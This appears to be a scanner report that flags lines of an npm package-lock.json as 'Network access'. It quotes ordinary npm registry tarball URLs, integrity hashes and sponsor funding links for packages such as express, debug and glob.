    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz",       "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==",
  • Network accessline 721
    "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz",
  • Network accessline 726
    "node_modules/debug": {       "version": "2.6.9",       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
  • Network accessline 727
    "version": "2.6.9",       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
  • Network accessline 728
    "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
  • Network accessline 735
    "node_modules/decompress-response": {       "version": "6.0.0",       "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
  • Network accessline 736
    "version": "6.0.0",       "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",       "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
  • Network accessline 737
    "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
  • Network accessline 745
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 746
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 747
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 750
    "node_modules/deep-extend": {       "version": "0.6.0",       "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
  • Network accessline 751
    "version": "0.6.0",       "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",       "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
  • Network accessline 752
    "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
  • Network accessline 759
    "node_modules/delegates": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
  • Network accessline 760
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",       "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==",
  • Network accessline 761
    "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
  • Network accessline 766
    "node_modules/depd": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
  • Network accessline 767
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",       "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
  • Network accessline 768
    "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
  • Network accessline 775
    "node_modules/destroy": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
  • Network accessline 776
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",       "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
  • Network accessline 777
    "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
  • Network accessline 785
    "node_modules/detect-libc": {       "version": "2.1.2",       "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
  • Network accessline 786
    "version": "2.1.2",       "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",       "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
  • Network accessline 787
    "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
  • Network accessline 794
    "node_modules/diff": {       "version": "4.0.2",       "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
  • Network accessline 795
    "version": "4.0.2",       "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",       "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
  • Network accessline 796
    "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
  • Network accessline 804
    "node_modules/dunder-proto": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
  • Network accessline 805
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",       "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
  • Network accessline 806
    "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
  • Network accessline 818
    "node_modules/ee-first": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
  • Network accessline 819
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",       "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
  • Network accessline 820
    "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
  • Network accessline 824
    "node_modules/emoji-regex": {       "version": "8.0.0",       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
  • Network accessline 825
    "version": "8.0.0",       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",       "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
  • Network accessline 826
    "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
  • Network accessline 831
    "node_modules/encodeurl": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
  • Network accessline 832
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",       "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
  • Network accessline 833
    "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
  • Network accessline 840
    "node_modules/encoding": {       "version": "0.1.13",       "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz",
  • Network accessline 841
    "version": "0.1.13",       "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz",       "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==",
  • Network accessline 842
    "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz",
  • Network accessline 850
    "node_modules/encoding/node_modules/iconv-lite": {       "version": "0.6.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
  • Network accessline 851
    "version": "0.6.3",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",       "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
  • Network accessline 852
    "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
  • Network accessline 863
    "node_modules/end-of-stream": {       "version": "1.4.5",       "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",
  • Network accessline 864
    "version": "1.4.5",       "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",       "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==",
  • Network accessline 865
    "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",
  • Network accessline 872
    "node_modules/env-paths": {       "version": "2.2.1",       "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
  • Network accessline 873
    "version": "2.2.1",       "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",       "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
  • Network accessline 874
    "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
  • Network accessline 882
    "node_modules/err-code": {       "version": "2.0.3",       "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz",
  • Network accessline 883
    "version": "2.0.3",       "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz",       "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==",
  • Network accessline 884
    "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz",
  • Network accessline 889
    "node_modules/es-define-property": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
  • Network accessline 890
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",       "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
  • Network accessline 891
    "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
  • Network accessline 898
    "node_modules/es-errors": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
  • Network accessline 899
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",       "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
  • Network accessline 900
    "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
  • Network accessline 907
    "node_modules/es-object-atoms": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
  • Network accessline 908
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",       "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
  • Network accessline 909
    "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
  • Network accessline 919
    "node_modules/escape-html": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
  • Network accessline 920
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",       "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
  • Network accessline 921
    "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
  • Network accessline 925
    "node_modules/etag": {       "version": "1.8.1",       "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
  • Network accessline 926
    "version": "1.8.1",       "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",       "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
  • Network accessline 927
    "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
  • Network accessline 934
    "node_modules/expand-template": {       "version": "2.0.3",       "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
  • Network accessline 935
    "version": "2.0.3",       "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",       "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==",
  • Network accessline 936
    "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
  • Network accessline 943
    "node_modules/express": {       "version": "4.22.1",       "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz",
  • Network accessline 944
    "version": "4.22.1",       "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz",       "integrity": "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==",
  • Network accessline 945
    "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz",
  • Network accessline 984
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 985
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 986
    "url": "https://opencollective.com/express"
  • Network accessline 989
    "node_modules/file-uri-to-path": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
  • Network accessline 990
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",       "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
  • Network accessline 991
    "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
  • Network accessline 995
    "node_modules/finalhandler": {       "version": "1.3.2",       "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz",
  • Network accessline 996
    "version": "1.3.2",       "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz",       "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==",
  • Network accessline 997
    "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz",
  • Network accessline 1013
    "node_modules/forwarded": {       "version": "0.2.0",       "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
  • Network accessline 1014
    "version": "0.2.0",       "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",       "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
  • Network accessline 1015
    "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
  • Network accessline 1022
    "node_modules/fresh": {       "version": "0.5.2",       "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
  • Network accessline 1023
    "version": "0.5.2",       "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",       "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
  • Network accessline 1024
    "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
  • Network accessline 1031
    "node_modules/fs-constants": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
  • Network accessline 1032
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",       "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==",
  • Network accessline 1033
    "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
  • Network accessline 1037
    "node_modules/fs-minipass": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
  • Network accessline 1038
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",       "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
  • Network accessline 1039
    "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
  • Network accessline 1049
    "node_modules/fs.realpath": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
  • Network accessline 1050
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",       "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
  • Network accessline 1051
    "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
  • Network accessline 1056
    "node_modules/function-bind": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
  • Network accessline 1057
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",       "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
  • Network accessline 1058
    "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
  • Network accessline 1060
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1061
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1062
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1065
    "node_modules/gauge": {       "version": "4.0.4",       "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz",
  • Network accessline 1066
    "version": "4.0.4",       "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz",       "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==",
  • Network accessline 1067
    "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz",
  • Network accessline 1086
    "node_modules/get-intrinsic": {       "version": "1.3.0",       "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
  • Network accessline 1087
    "version": "1.3.0",       "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",       "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
  • Network accessline 1088
    "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
  • Network accessline 1105
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1106
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1107
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1110
    "node_modules/get-proto": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
  • Network accessline 1111
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",       "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
  • Network accessline 1112
    "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
  • Network accessline 1123
    "node_modules/github-from-package": {       "version": "0.0.0",       "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
  • Network accessline 1124
    "version": "0.0.0",       "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",       "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==",
  • Network accessline 1125
    "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
  • Network accessline 1129
    "node_modules/glob": {       "version": "7.2.3",       "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
  • Network accessline 1130
    "version": "7.2.3",       "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",       "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
  • Network accessline 1131
    "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
  • Network accessline 1146
    },       "funding": {         "url": "https://github.com/sponsors/isaacs"
  • Network accessline 1147
    "funding": {         "url": "https://github.com/sponsors/isaacs"       }
  • Network accessline 1148
    "url": "https://github.com/sponsors/isaacs"
  • Network accessline 1151
    "node_modules/gopd": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
  • Network accessline 1152
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",       "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
  • Network accessline 1153
    "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
  • Network accessline 1158
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1159
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1160
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1163
    "node_modules/graceful-fs": {       "version": "4.2.11",       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
  • Network accessline 1164
    "version": "4.2.11",       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",       "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
  • Network accessline 1165
    "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
  • Network accessline 1170
    "node_modules/has-symbols": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
  • Network accessline 1171
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",       "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
  • Network accessline 1172
    "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
  • Network accessline 1177
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1178
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1179
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1182
    "node_modules/has-unicode": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
  • Network accessline 1183
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",       "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==",
  • Network accessline 1184
    "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
  • Network accessline 1189
    "node_modules/hasown": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
  • Network accessline 1190
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",       "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
  • Network accessline 1191
    "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
  • Network accessline 1201
    "node_modules/http-cache-semantics": {       "version": "4.2.0",       "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz",
  • Network accessline 1202
    "version": "4.2.0",       "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz",       "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==",
  • Network accessline 1203
    "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz",
  • Network accessline 1208
    "node_modules/http-errors": {       "version": "2.0.1",       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
  • Network accessline 1209
    "version": "2.0.1",       "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",       "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
  • Network accessline 1210
    "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
  • Network accessline 1223
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 1224
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 1225
    "url": "https://opencollective.com/express"
  • Network accessline 1228
    "node_modules/http-proxy-agent": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
  • Network accessline 1229
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",       "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
  • Network accessline 1230
    "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
  • Network accessline 1243
    "node_modules/http-proxy-agent/node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 1244
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 1245
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 1261
    "node_modules/http-proxy-agent/node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 1262
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 1263
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 1268
    "node_modules/https-proxy-agent": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
  • Network accessline 1269
